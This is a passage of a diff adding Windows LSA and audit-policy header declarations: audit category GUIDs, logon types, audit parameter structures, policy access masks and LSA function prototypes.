0x0cce9239, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ApplicationGroup_defined + #endif +#endif + +/* 0cce923a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_Others_defined) + DEFINE_GUID( + Audit_AccountManagement_Others, + 0x0cce923a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_Others_defined + #endif +#endif + +/* 0cce923b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DSAccess_DSAccess_defined) + DEFINE_GUID( + Audit_DSAccess_DSAccess, + 0x0cce923b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DSAccess_DSAccess_defined + #endif +#endif + +/* 0cce923c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DsAccess_AdAuditChanges_defined) + DEFINE_GUID( + Audit_DsAccess_AdAuditChanges, + 0x0cce923c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DsAccess_AdAuditChanges_defined + #endif +#endif + +/* 0cce923d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_Replication_defined) + DEFINE_GUID( + Audit_Ds_Replication, + 0x0cce923d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_Replication_defined + #endif +#endif + +/* 0cce923e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_DetailedReplication_defined) + DEFINE_GUID( + Audit_Ds_DetailedReplication, + 0x0cce923e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_DetailedReplication_defined + #endif +#endif + +/* 0cce923f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_CredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_CredentialValidation, + 0x0cce923f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_CredentialValidation_defined + #endif +#endif + +/* 0cce9240-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Kerberos_defined) + DEFINE_GUID( + Audit_AccountLogon_Kerberos, + 0x0cce9240, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Kerberos_defined + #endif +#endif + +/* 0cce9241-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Others_defined) + DEFINE_GUID( + Audit_AccountLogon_Others, + 0x0cce9241, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Others_defined + #endif +#endif + +/* 0cce9242-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_KerbCredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_KerbCredentialValidation, + 0x0cce9242, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_KerbCredentialValidation_defined + #endif +#endif + +/* 0cce9243-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_NPS_defined) + DEFINE_GUID( + Audit_Logon_NPS, + 0x0cce9243, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_NPS_defined + #endif +#endif + +/* 0cce9244-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_DetailedFileShare_defined) + DEFINE_GUID( + Audit_ObjectAccess_DetailedFileShare, + 0x0cce9244, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_DetailedFileShare_defined + #endif +#endif + +#endif // DEFINE_GUID + + +// +// All categories are named as +// + +#ifdef DEFINE_GUID + +/* 69979848-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_defined) + DEFINE_GUID( + Audit_System, + 0x69979848, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_defined + #endif +#endif + +/* 69979849-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_defined) + DEFINE_GUID( + Audit_Logon, + 0x69979849, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_defined + #endif +#endif + +/* 6997984a-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_defined) + DEFINE_GUID( + Audit_ObjectAccess, + 0x6997984a, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_defined + #endif +#endif + +/* 6997984b-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_defined) + DEFINE_GUID( + Audit_PrivilegeUse, + 0x6997984b, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_defined + #endif +#endif + +/* 6997984c-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_defined) + DEFINE_GUID( + Audit_DetailedTracking, + 0x6997984c, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_defined + #endif +#endif + +/* 6997984d-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_defined) + DEFINE_GUID( + Audit_PolicyChange, + 0x6997984d, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_defined + #endif +#endif + +/* 6997984e-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_defined) + DEFINE_GUID( + Audit_AccountManagement, + 0x6997984e, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_defined + #endif +#endif + +/* 6997984f-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DirectoryServiceAccess_defined) + DEFINE_GUID( + Audit_DirectoryServiceAccess, + 0x6997984f, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DirectoryServiceAccess_defined + #endif +#endif + +/* 69979850-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_defined) + DEFINE_GUID( + Audit_AccountLogon, + 0x69979850, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_defined + #endif +#endif + +#endif // DEFINE_GUID + +// 04.06.2011 - added +#if !defined(_NTLSA_IFS_) +#define _NTLSA_IFS_ + +#if !defined(_LSALOOKUP_) +#define _LSALOOKUP_ + +#if defined(_NTDEF_) + +typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; +typedef STRING LSA_STRING, *PLSA_STRING; +typedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#else // _NTDEF_ + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength/2), length_is(Length/2)] +#endif // MIDL_PASS + PWSTR Buffer; +} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; + +typedef struct _LSA_STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} LSA_STRING, *PLSA_STRING; + +typedef struct _LSA_OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PLSA_UNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE +} LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#endif // _NTDEF_ + +typedef struct _LSA_TRUST_INFORMATION { + LSA_UNICODE_STRING Name; // The name of the domain + PSID Sid; // ptr to domain Sid +} LSA_TRUST_INFORMATION, *PLSA_TRUST_INFORMATION; + +typedef struct _LSA_REFERENCED_DOMAIN_LIST { + ULONG Entries; // count of domains in domain array + PLSA_TRUST_INFORMATION Domains; // pointer to array LSA_TRUST_INFORMATION data +} LSA_REFERENCED_DOMAIN_LIST, *PLSA_REFERENCED_DOMAIN_LIST; + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _LSA_TRANSLATED_SID2 { + SID_NAME_USE Use; + PSID Sid; + LONG DomainIndex; + ULONG Flags; +} LSA_TRANSLATED_SID2, *PLSA_TRANSLATED_SID2; +#endif + +typedef struct _LSA_TRANSLATED_NAME { + SID_NAME_USE Use; + LSA_UNICODE_STRING Name; + LONG DomainIndex; +} LSA_TRANSLATED_NAME, *PLSA_TRANSLATED_NAME; + +typedef struct _POLICY_ACCOUNT_DOMAIN_INFO { + LSA_UNICODE_STRING DomainName; + PSID DomainSid; +} POLICY_ACCOUNT_DOMAIN_INFO, *PPOLICY_ACCOUNT_DOMAIN_INFO; + +typedef struct _POLICY_DNS_DOMAIN_INFO +{ + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING DnsForestName; + GUID DomainGuid; + PSID Sid; +} POLICY_DNS_DOMAIN_INFO, *PPOLICY_DNS_DOMAIN_INFO; + +#define LOOKUP_VIEW_LOCAL_INFORMATION 0x00000001 +#define LOOKUP_TRANSLATE_NAMES 0x00000800 + +typedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS { + AccountDomainInformation = 5, + DnsDomainInformation = 12 +} LSA_LOOKUP_DOMAIN_INFO_CLASS, *PLSA_LOOKUP_DOMAIN_INFO_CLASS; + +typedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE; + +NTSTATUS +LsaLookupOpenLocalPolicy( + IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + IN ACCESS_MASK AccessMask, + IN OUT PLSA_LOOKUP_HANDLE PolicyHandle + ); + +NTSTATUS +LsaLookupClose( + IN LSA_LOOKUP_HANDLE ObjectHandle + ); + +NTSTATUS +LsaLookupTranslateSids( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN ULONG Count, + IN PSID *Sids, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_NAME *Names + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +LsaLookupTranslateNames( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN ULONG Flags, + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +LsaLookupGetDomainInfo( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN LSA_LOOKUP_DOMAIN_INFO_CLASS DomainInfoClass, + OUT PVOID *DomainInfo + ); + +NTSTATUS +LsaLookupFreeMemory( + IN PVOID Buffer + ); + +#endif // _LSALOOKUP_ + +#define LSA_MODE_PASSWORD_PROTECTED (0x00000001L) +#define LSA_MODE_INDIVIDUAL_ACCOUNTS (0x00000002L) +#define LSA_MODE_MANDATORY_ACCESS (0x00000004L) +#define LSA_MODE_LOG_FULL (0x00000008L) + +typedef enum _SECURITY_LOGON_TYPE { + UndefinedLogonType = 0, // This is used to specify an undefied logon type + Interactive = 2, // Interactively logged on (locally or remotely) + Network, // Accessing system via network + Batch, // Started via a batch queue + Service, // Service started by service controller + Proxy, // Proxy logon + Unlock, // Unlock workstation + NetworkCleartext, // Network logon with cleartext credentials + NewCredentials, // Clone caller, new default credentials + //The types below only exist in Windows XP and greater +#if (_WIN32_WINNT >= 0x0501) + RemoteInteractive, // Remote, yet interactive. Terminal server + CachedInteractive, // Try cached credentials without hitting the net. + // The types below only exist in Windows Server 2003 and greater +#endif +#if (_WIN32_WINNT >= 0x0502) + CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose + CachedUnlock // Cached Unlock workstation +#endif +} SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE; + +typedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE; + +#if !defined(_NTLSA_AUDIT_) +#define _NTLSA_AUDIT_ + +// +// The following enumerated type is used between the reference monitor and +// LSA in the generation of audit messages. It is used to indicate the +// type of data being passed as a parameter from the reference monitor +// to LSA. LSA is responsible for transforming the specified data type +// into a set of unicode strings that are added to the event record in +// the audit log. +// + +typedef enum _SE_ADT_PARAMETER_TYPE { + + SeAdtParmTypeNone = 0, //Produces 1 parameter + SeAdtParmTypeString, //Produces 1 parameter. + SeAdtParmTypeFileSpec, + SeAdtParmTypeUlong, //Produces 1 parameter + SeAdtParmTypeSid, //Produces 1 parameter. + SeAdtParmTypeLogonId, //Produces 4 parameters. + SeAdtParmTypeNoLogonId, //Produces 3 parameters. + SeAdtParmTypeAccessMask, //Produces 1 parameter with formatting. + SeAdtParmTypePrivs, //Produces 1 parameter with formatting. + SeAdtParmTypeObjectTypes, //Produces 10 parameters with formatting. + SeAdtParmTypeHexUlong, //Produces 1 parameter + SeAdtParmTypePtr, //Produces 1 parameter + SeAdtParmTypeTime, //Produces 2 parameters + SeAdtParmTypeGuid, //Produces 1 parameter + SeAdtParmTypeLuid, // + SeAdtParmTypeHexInt64, //Produces 1 parameter + SeAdtParmTypeStringList, //Produces 1 parameter + SeAdtParmTypeSidList, //Produces 1 parameter + SeAdtParmTypeDuration, //Produces 1 parameters + SeAdtParmTypeUserAccountControl,//Produces 3 parameters + SeAdtParmTypeNoUac, //Produces 3 parameters + SeAdtParmTypeMessage, //Produces 1 Parameter + SeAdtParmTypeDateTime, //Produces 1 Parameter + SeAdtParmTypeSockAddr, // Produces 2 parameters + SeAdtParmTypeSD, // Produces 1 parameters + SeAdtParmTypeLogonHours, // Produces 1 parameters + SeAdtParmTypeLogonIdNoSid, //Produces 3 parameters. + SeAdtParmTypeUlongNoConv, // Produces 1 parameter. + SeAdtParmTypeSockAddrNoPort, // Produces 1 parameter + SeAdtParmTypeAccessReason + +} SE_ADT_PARAMETER_TYPE, *PSE_ADT_PARAMETER_TYPE; + +#if !defined(GUID_DEFINED) +#include +#endif /* GUID_DEFINED */ + +typedef struct _SE_ADT_OBJECT_TYPE { + GUID ObjectType; + USHORT Flags; +#define SE_ADT_OBJECT_ONLY 0x1 + USHORT Level; + ACCESS_MASK AccessMask; +} SE_ADT_OBJECT_TYPE, *PSE_ADT_OBJECT_TYPE; + +typedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY { + + SE_ADT_PARAMETER_TYPE Type; + ULONG Length; + ULONG_PTR Data[2]; + PVOID Address; +} SE_ADT_PARAMETER_ARRAY_ENTRY, *PSE_ADT_PARAMETER_ARRAY_ENTRY; + + +typedef struct _SE_ADT_ACCESS_REASON{ + ACCESS_MASK AccessMask; + ULONG AccessReasons[32]; + ULONG ObjectTypeIndex; + ULONG AccessGranted; + PSECURITY_DESCRIPTOR SecurityDescriptor; +} SE_ADT_ACCESS_REASON, *PSE_ADT_ACCESS_REASON; + +#define SE_MAX_AUDIT_PARAMETERS 32 +#define SE_MAX_GENERIC_AUDIT_PARAMETERS 28 + +typedef struct _SE_ADT_PARAMETER_ARRAY { + + ULONG CategoryId; + ULONG AuditId; + ULONG ParameterCount; + ULONG Length; + USHORT FlatSubCategoryId; + USHORT Type; + ULONG Flags; + SE_ADT_PARAMETER_ARRAY_ENTRY Parameters[ SE_MAX_AUDIT_PARAMETERS ]; + +} SE_ADT_PARAMETER_ARRAY, *PSE_ADT_PARAMETER_ARRAY; + +#define SE_ADT_PARAMETERS_SELF_RELATIVE 0x00000001 +#define SE_ADT_PARAMETERS_SEND_TO_LSA 0x00000002 +#define SE_ADT_PARAMETER_EXTENSIBLE_AUDIT 0x00000004 +#define SE_ADT_PARAMETER_GENERIC_AUDIT 0x00000008 +#define SE_ADT_PARAMETER_WRITE_SYNCHRONOUS 0x00000010 + +#define LSAP_SE_ADT_PARAMETER_ARRAY_TRUE_SIZE(AuditParameters) \ + ( sizeof(SE_ADT_PARAMETER_ARRAY) - \ + sizeof(SE_ADT_PARAMETER_ARRAY_ENTRY) * \ + (SE_MAX_AUDIT_PARAMETERS - AuditParameters->ParameterCount) ) + +#endif // !defined(_NTLSA_AUDIT_) + +typedef enum _POLICY_AUDIT_EVENT_TYPE { + + AuditCategorySystem = 0, + AuditCategoryLogon, + AuditCategoryObjectAccess, + AuditCategoryPrivilegeUse, + AuditCategoryDetailedTracking, + AuditCategoryPolicyChange, + AuditCategoryAccountManagement, + AuditCategoryDirectoryServiceAccess, + AuditCategoryAccountLogon + +} POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE; + +#define POLICY_AUDIT_EVENT_UNCHANGED (0x00000000L) +#define POLICY_AUDIT_EVENT_SUCCESS (0x00000001L) +#define POLICY_AUDIT_EVENT_FAILURE (0x00000002L) +#define POLICY_AUDIT_EVENT_NONE (0x00000004L) + +#define POLICY_AUDIT_EVENT_MASK \ + (POLICY_AUDIT_EVENT_SUCCESS | \ + POLICY_AUDIT_EVENT_FAILURE | \ + POLICY_AUDIT_EVENT_UNCHANGED | \ + POLICY_AUDIT_EVENT_NONE) + +#define LSA_SUCCESS(Error) ((LONG)(Error) >= 0) + +NTSTATUS +NTAPI +LsaRegisterLogonProcess ( + IN PLSA_STRING LogonProcessName, + OUT PHANDLE LsaHandle, + OUT PLSA_OPERATIONAL_MODE SecurityMode + ); + +NTSTATUS +NTAPI +LsaLogonUser ( + IN HANDLE LsaHandle, + IN PLSA_STRING OriginName, + IN SECURITY_LOGON_TYPE LogonType, + IN ULONG AuthenticationPackage, + IN PVOID AuthenticationInformation, + IN ULONG AuthenticationInformationLength, + IN OPTIONAL PTOKEN_GROUPS LocalGroups, + IN PTOKEN_SOURCE SourceContext, + OUT PVOID *ProfileBuffer, + OUT PULONG ProfileBufferLength, + OUT PLUID LogonId, + OUT PHANDLE Token, + OUT PQUOTA_LIMITS Quotas, + OUT PNTSTATUS SubStatus + ); + +NTSTATUS +NTAPI +LsaLookupAuthenticationPackage ( + IN HANDLE LsaHandle, + IN PLSA_STRING PackageName, + OUT PULONG AuthenticationPackage + ); + +NTSTATUS +NTAPI +LsaFreeReturnBuffer ( + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaCallAuthenticationPackage ( + IN HANDLE LsaHandle, + IN ULONG AuthenticationPackage, + IN PVOID ProtocolSubmitBuffer, + IN ULONG SubmitBufferLength, + OUT OPTIONAL PVOID *ProtocolReturnBuffer, + OUT OPTIONAL PULONG ReturnBufferLength, + OUT OPTIONAL PNTSTATUS ProtocolStatus + ); + +NTSTATUS +NTAPI +LsaDeregisterLogonProcess ( + IN HANDLE LsaHandle + ); + +NTSTATUS +NTAPI +LsaConnectUntrusted ( + OUT PHANDLE LsaHandle + ); + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy Administration API datatypes and defines // +// // +//////////////////////////////////////////////////////////////////////////// + +#define POLICY_VIEW_LOCAL_INFORMATION 0x00000001L +#define POLICY_VIEW_AUDIT_INFORMATION 0x00000002L +#define POLICY_GET_PRIVATE_INFORMATION 0x00000004L +#define POLICY_TRUST_ADMIN 0x00000008L +#define POLICY_CREATE_ACCOUNT 0x00000010L +#define POLICY_CREATE_SECRET 0x00000020L +#define POLICY_CREATE_PRIVILEGE 0x00000040L +#define POLICY_SET_DEFAULT_QUOTA_LIMITS 0x00000080L +#define POLICY_SET_AUDIT_REQUIREMENTS 0x00000100L +#define POLICY_AUDIT_LOG_ADMIN 0x00000200L +#define POLICY_SERVER_ADMIN 0x00000400L +#define POLICY_LOOKUP_NAMES 0x00000800L +#define POLICY_NOTIFICATION 0x00001000L + +#define POLICY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION |\ + POLICY_TRUST_ADMIN |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADMIN |\ + POLICY_SERVER_ADMIN |\ + POLICY_LOOKUP_NAMES) + + +#define POLICY_READ (STANDARD_RIGHTS_READ |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION) + +#define POLICY_WRITE (STANDARD_RIGHTS_WRITE |\ + POLICY_TRUST_ADMIN |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADMIN |\ + POLICY_SERVER_ADMIN) + +#define POLICY_EXECUTE (STANDARD_RIGHTS_EXECUTE |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_LOOKUP_NAMES) + +typedef struct _LSA_TRANSLATED_SID { + + SID_NAME_USE Use; + ULONG RelativeId; + LONG DomainIndex; + +} LSA_TRANSLATED_SID, *PLSA_TRANSLATED_SID; + +typedef enum _POLICY_LSA_SERVER_ROLE { + + PolicyServerRoleBackup = 2, + PolicyServerRolePrimary + +} POLICY_LSA_SERVER_ROLE, *PPOLICY_LSA_SERVER_ROLE; + +#if (_WIN32_WINNT < 0x0502) + +typedef enum _POLICY_SERVER_ENABLE_STATE { + + PolicyServerEnabled = 2, + PolicyServerDisabled + +} POLICY_SERVER_ENABLE_STATE, *PPOLICY_SERVER_ENABLE_STATE; +#endif + +typedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS; + +typedef enum _POLICY_INFORMATION_CLASS { + + PolicyAuditLogInformation = 1, + PolicyAuditEventsInformation, + PolicyPrimaryDomainInformation, + PolicyPdAccountInformation, + PolicyAccountDomainInformation, + PolicyLsaServerRoleInformation, + PolicyReplicaSourceInformation, + PolicyDefaultQuotaInformation, + PolicyModificationInformation, + PolicyAuditFullSetInformation, + PolicyAuditFullQueryInformation, + PolicyDnsDomainInformation, + PolicyDnsDomainInformationInt, + PolicyLocalAccountDomainInformation, + PolicyLastEntry + +} POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS; + +typedef struct _POLICY_AUDIT_LOG_INFO { + + ULONG AuditLogPercentFull; + ULONG MaximumLogSize; + LARGE_INTEGER AuditRetentionPeriod; + BOOLEAN AuditLogFullShutdownInProgress; + LARGE_INTEGER TimeToShutdown; + ULONG NextAuditRecordId; + +} POLICY_AUDIT_LOG_INFO, *PPOLICY_AUDIT_LOG_INFO; + +typedef struct _POLICY_AUDIT_EVENTS_INFO { + + BOOLEAN AuditingMode; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + ULONG MaximumAuditEventCount; + +} POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO; + +typedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO { + + ULONG MaximumSubCategoryCount; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + +} POLICY_AUDIT_SUBCATEGORIES_INFO, *PPOLICY_AUDIT_SUBCATEGORIES_INFO; + +typedef struct _POLICY_AUDIT_CATEGORIES_INFO { + + ULONG MaximumCategoryCount; + PPOLICY_AUDIT_SUBCATEGORIES_INFO SubCategoriesInfo; + +} POLICY_AUDIT_CATEGORIES_INFO, *PPOLICY_AUDIT_CATEGORIES_INFO; + +// +// Valid bits for Per user policy mask. +// + +#define PER_USER_POLICY_UNCHANGED (0x00) +#define PER_USER_AUDIT_SUCCESS_INCLUDE (0x01) +#define PER_USER_AUDIT_SUCCESS_EXCLUDE (0x02) +#define PER_USER_AUDIT_FAILURE_INCLUDE (0x04) +#define PER_USER_AUDIT_FAILURE_EXCLUDE (0x08) +#define PER_USER_AUDIT_NONE (0x10) + + +#define VALID_PER_USER_AUDIT_POLICY_FLAG (PER_USER_AUDIT_SUCCESS_INCLUDE | \ + PER_USER_AUDIT_SUCCESS_EXCLUDE | \ + PER_USER_AUDIT_FAILURE_INCLUDE | \ + PER_USER_AUDIT_FAILURE_EXCLUDE | \ + PER_USER_AUDIT_NONE) + +typedef struct _POLICY_PRIMARY_DOMAIN_INFO { + + LSA_UNICODE_STRING Name; + PSID Sid; + +} POLICY_PRIMARY_DOMAIN_INFO, *PPOLICY_PRIMARY_DOMAIN_INFO; + +typedef struct _POLICY_PD_ACCOUNT_INFO { + + LSA_UNICODE_STRING Name; + +} POLICY_PD_ACCOUNT_INFO, *PPOLICY_PD_ACCOUNT_INFO; + +typedef struct _POLICY_LSA_SERVER_ROLE_INFO { + + POLICY_LSA_SERVER_ROLE LsaServerRole; + +} POLICY_LSA_SERVER_ROLE_INFO, *PPOLICY_LSA_SERVER_ROLE_INFO; + +typedef struct _POLICY_REPLICA_SOURCE_INFO { + + LSA_UNICODE_STRING ReplicaSource; + LSA_UNICODE_STRING ReplicaAccountName; + +} POLICY_REPLICA_SOURCE_INFO, *PPOLICY_REPLICA_SOURCE_INFO; + +typedef struct _POLICY_DEFAULT_QUOTA_INFO { + + QUOTA_LIMITS QuotaLimits; + +} POLICY_DEFAULT_QUOTA_INFO, *PPOLICY_DEFAULT_QUOTA_INFO; + + +typedef struct _POLICY_MODIFICATION_INFO { + + LARGE_INTEGER ModifiedId; + LARGE_INTEGER DatabaseCreationTime; + +} POLICY_MODIFICATION_INFO, *PPOLICY_MODIFICATION_INFO; + + +typedef struct _POLICY_AUDIT_FULL_SET_INFO { + + BOOLEAN ShutDownOnFull; + +} POLICY_AUDIT_FULL_SET_INFO, *PPOLICY_AUDIT_FULL_SET_INFO; + + +typedef struct _POLICY_AUDIT_FULL_QUERY_INFO { + + BOOLEAN ShutDownOnFull; + BOOLEAN LogIsFull; + +} POLICY_AUDIT_FULL_QUERY_INFO, *PPOLICY_AUDIT_FULL_QUERY_INFO; + + +typedef enum _POLICY_DOMAIN_INFORMATION_CLASS { + +#if (_WIN32_WINNT <= 0x0500) + PolicyDomainQualityOfServiceInformation = 1, +#endif + PolicyDomainEfsInformation = 2, + PolicyDomainKerberosTicketInformation + +} POLICY_DOMAIN_INFORMATION_CLASS, *PPOLICY_DOMAIN_INFORMATION_CLASS; + +#if (_WIN32_WINNT < 0x0502) + +#define POLICY_QOS_SCHANNEL_REQUIRED 0x00000001 +#define POLICY_QOS_OUTBOUND_INTEGRITY 0x00000002 +#define POLICY_QOS_OUTBOUND_CONFIDENTIALITY 0x00000004 +#define POLICY_QOS_INBOUND_INTEGRITY 0x00000008 +#define POLICY_QOS_INBOUND_CONFIDENTIALITY 0x00000010 +#define POLICY_QOS_ALLOW_LOCAL_ROOT_CERT_STORE 0x00000020 +#define POLICY_QOS_RAS_SERVER_ALLOWED 0x00000040 +#define POLICY_QOS_DHCP_SERVER_ALLOWED 0x00000080 + +// +// Bits 0x00000100 through 0xFFFFFFFF are reserved for future use. +// +#endif + +#if (_WIN32_WINNT == 0x0500) +typedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO { + + ULONG QualityOfService; + +} POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO, *PPOLICY_DOMAIN_QUALITY_OF_SERVICE_INFO; + +#endif + +typedef struct _POLICY_DOMAIN_EFS_INFO { + + ULONG InfoLength; + PUCHAR EfsBlob; + +} POLICY_DOMAIN_EFS_INFO, *PPOLICY_DOMAIN_EFS_INFO; + +#define POLICY_KERBEROS_VALIDATE_CLIENT 0x00000080 + +typedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO { + + ULONG AuthenticationOptions; + LARGE_INTEGER MaxServiceTicketAge; + LARGE_INTEGER MaxTicketAge; + LARGE_INTEGER MaxRenewAge; + LARGE_INTEGER MaxClockSkew; + LARGE_INTEGER Reserved; +} 